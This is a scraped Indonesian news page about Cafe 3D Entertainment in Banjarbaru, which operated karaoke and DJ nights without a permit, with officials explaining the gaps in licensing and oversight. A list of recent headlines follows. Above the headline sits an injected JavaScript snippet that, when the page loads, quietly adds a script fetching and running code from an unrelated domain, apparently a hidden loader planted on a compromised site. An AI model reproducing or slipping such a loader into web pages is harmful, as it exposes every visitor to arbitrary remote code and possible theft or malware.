(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Modus Kafe Berlagak THM 3D Entertainment dan Lemahnya Pengawasan


BANJARBARU, Terkuaknya bisnis Cafe 3D Entertainment yang tidak memiliki izin untuk membuka karaoke dan hiburan malam lainnya, kini menjadi perhatian masyarakat. Apalagi, kasus ini juga turut menyeret sejumlah dinas terkait seperti Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (PMPTSP) dan Dinas Pemuda, Olahraga, Budaya dan Pariwisata (Disporabudpar) Banjarbaru. Kedua SKPD ini memiliki hubungan erat dalam penerbitan surat izin bagi Tempat Hiburan Malam (THM) di Banjarbaru.

Sebab, alur untuk mendapatkan Surat Izin Hiburan Umum, para pemilik usaha harus mendaftar ke DPMPTSP dan melengkapi persyaratan agar nantinya surat izin tersebut dapat diterbitkan. Salah satu syaratnya ialah harus mengantongi surat rekomendasi dari Disporabudpar yang lebih dulu melakukan peninjauan soal jenis usaha tersebut.

Menelusuri kasus pelanggaran administrasi Cafe 3D Entertainment, kanalkalimantan mencoba mencoba mengkonfirmasi kepada dua SKPD ini, Rabu (4/9) siang.

Diakui, Kepala Dinas PMPTSP Banjarbaru, Rahmah Khairita, catatan pada tahun 2017 pemilik Cafe 3D Entertainment memang pernah mendaftar untuk mendapatkan suran izin hiburan umum. Namun, proses itu tidak diselesaikan oleh pemilik usaha.

“Hanya terdaftar saja tapi tidak pernah diselesaikan. Bahkan berkas itu tidak ada. Jadi, kami sendiri tidak bisa menerbitkan Izinnya,” bebernya kepada Kanalkalimantan.com.

Ditanya terkait alasan berhentinya pengurusan izin tersebut, Khairita sendiri juga tidak mengetahui apa-apa. Sebab, DPMPTSP juga tidak memiliki peranan lebih selain menerbitkan surat izin.

Baca juga : Hadirkan DJ Hingga Langgar Waktu Operasi, 3D Entertainment Tidak Punya Izin!

Hal yang sama juga diakui pihak Disporabudpar Banjarbaru, dalam hal ini Kabid Pariwisata, Dhiah Tri Widhiningsih yang angkat bicara. Namun, dijelaskan Dhiah pada tahun 2017 lalu pemilik 3D Entertainment hanya meminta izin rekomendasi untuk usaha Cafe. “Iya benar, tahun 2017 pernah ada ngurus surat rekomendasi tapi itu untuk Cafe bukan Karaoke. Sejak tahun 2019 ini saya tidak lagi menerima permohonan rekomendasi tersebut,” ungkapnya.

Dhiah sendiri menyatakan bahwa surat rekomendasi Cafe tersebut hanya berlaku sampai 2 tahun dan memang tidak diperuntukan untuk Karaoke lantaran adanya aturan dari Pemerintah Daerah yang melarang penambahan karaoke.

Hal inilah yang membuat Dhiah berpandangan, alasan mengapa Surat Izin Hiburan Umum Cafe 3D Entertainment tidak terselesaikan di DPMPTSP karena adanya moratorium izin karaoke saat itu.”Sepertinya saat mengurus Surat Izin Hiburan Umum ini, nyendat di moratorium larangan adanya penambahan karaoke saat itu,” duga dhiah.

Disporabudpar Banjarbaru Kecolongan?

Peran Disporabudpar Banjarbaru tidak hanya memberikan surat rekomendasi, melainkan juga memonitoring terhadap seluruh THM di Banjarbaru.

Beroperasinya bisnis karaoke bahkan menghadirkan seorang DJ dibalik statusnya yang hanya Cafe, lantas menggiring opini bahwa Disporabudpar telah lalai dalam melakukan pengawasan terhadap 3D Entertainment selama ini.

Nah, terkait hal ini Dhiah menegaskan bahwa pihaknya selalu melakukan monitoring di seluruh THM Banjarbaru. Hanya saja, pihaknya hanya melakukan pengawasan kepada usaha-usaha yang telah mengantongi izin. “Kalau tidak ada izin, bukan ranah kami. Namun wewenang Satpol PP untuk menindak dan menertibkannya. Cafe 3D Entertainment ini tidak lengkap izinnya jadi kami tidak lakukan pengawasan,” tegasnya.

Baca Juga : Statusnya Bukan Karaoke, Cafe 3D Entertainment Ditutup Sementara

Terkait sanksi dan tindak lanjut, saat ini pemilik Cafe 3D Entertainment telah menutup usahanya sementara. Bahkan bisa selamanya, jika si pemilik tidak melengkapi izin yang dimaksud. Kewenangan ini dipegang langsung oleh Dinas PMPTS dengan mencabut seluruh izin THM yang berlokasi di Jalan Trikora tersebut.

Kasus pelanggaran izin Cafe 3D Entertainment ini, kata Dhiah dapat menjadi pelajaran sekaligus atensi bagi mereka. Ia berjanji akan lebih memperketat soal perizinan dan monitoring atas usaha hiburan yang ada di wilayahnya. “Mungkin selama ini kami agak abai dengan hal-hal seperti ini. Sejujurnya kalau dari luar tempat, seperti tidak ada kegiatan apa-apa, padahal didalam tidak seperti di luar,” jujurnya. (Rico)

Reporter : Rico
Editor : Cell

Desy Arfianty

Recent Posts

Habisi Nyawa Sesama Sopir di Banjarmasin, ARM Ditangkap di Kandangan

KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More

24 menit ago

Peternak Babi di Pandarapan Keberatan Batas Waktu Tiga Bulan Bongkar Kandang

KANALKALIMANTAN.COM, BANJARBARU - Puluhan peternak babi di Jalan Pandarapan RT 34 RW 5, Kelurahan Guntung… Read More

41 menit ago

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

14 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

14 jam ago

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

15 jam ago

Terbagi Tiga Kloter, Pj Bupati Kapuas Ingatkan Calon Haji Jaga Kondisi Kesehatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More

15 jam ago

This website uses cookies.